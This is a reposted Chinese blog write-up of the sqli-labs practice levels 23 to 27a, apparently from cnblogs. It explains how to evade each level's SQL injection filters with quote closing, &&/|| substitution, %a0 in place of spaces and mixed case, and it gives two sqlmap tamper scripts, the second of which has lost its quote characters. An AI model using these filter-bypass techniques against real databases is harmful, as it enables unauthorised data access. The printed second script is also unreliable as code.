广告
返回顶部
首页 > 资讯 > 数据库 >sqlilab less23-less27a
  • 716
分享到

sqlilab less23-less27a

摘要

less23 本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数            less-24   less-25


	sqlilab less23-less27a
[数据库教程]

less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and ‘1‘=‘1,将其加在注入语句的末尾,使用suffix参数

技术图片

 

 技术图片

 

 


 

 less-24

 


less-25

参数经过blacklist处理

技术图片

 

 blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

技术图片

 

 对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (Http://sqlmap.org/)
See the file ‘LICENSE‘ for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    
    if payload:
        payload1=payload.replace(‘ AND ‘,"&&")
        payload2=payload1.replace(‘ OR ‘,"||")
        payload=payload2

    return payload

  成功注入

技术图片

 


 

less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

技术图片

 

 需要用and ‘1‘=‘1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

技术图片

 

 

技术图片

 

 

攻击日志

技术图片

 

 


 

less-26a

不同于上一关,这里是用小括号进行了包裹

技术图片

 

 tamper

 1 #!/usr/bin/env Python
 2 
 3 from lib.core.enums import PRIORITY
 4 from lib.core.compat import xrange
 5 import re
 6 
 7 __priority__ = PRIORITY.LOWEST
 8 
 9 def dependencies():
10     pass
11 
12 def tamper(payload, **kwargs):
13   
14     if payload:
15         payload1=re.sub(r AND ,%a0%26%26%a0,payload)
16         payload2=re.sub(rOR,OORR,payload1)
17         payload=payload2
18     retVal = payload
19 
20     if payload:
21         retVal = ""
22         quote, doublequote, firstspace = False, False, False
23 
24         for i in xrange(len(payload)):
25             if not firstspace:
26                 if payload[i].isspace():
27                     firstspace = True
28                     retVal += "%a0"
29                     continue
30 
31             elif payload[i] == :
32                 quote = not quote
33 
34             elif payload[i] == ":
35                 doublequote = not doublequote
36 
37             elif payload[i] == " " and not doublequote and not quote:
38                 retVal += "%a0"
39                 continue
40 
41             retVal += payload[i]
42 
43     return retVal

使用sqlmap进行前后的包裹

技术图片

 

 

技术图片

 

 


 less-27

 过滤了uNIOn和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过技术图片

 

 使用随机大小写和空格匹配tamper

技术图片

 

 

技术图片

 

 


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

技术图片

 

 利用上一题的tamper,对前后的包裹进行修改

技术图片

 

 

技术图片

 

 攻击日志

技术图片

 

sqlilab less23-less27a

原文地址:https://www.cnblogs.com/hongren/p/13418741.html

您可能感兴趣的文档:

--结束END--

本文标题: sqlilab less23-less27a

本文链接: https://www.lsjlt.com/news/7723.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作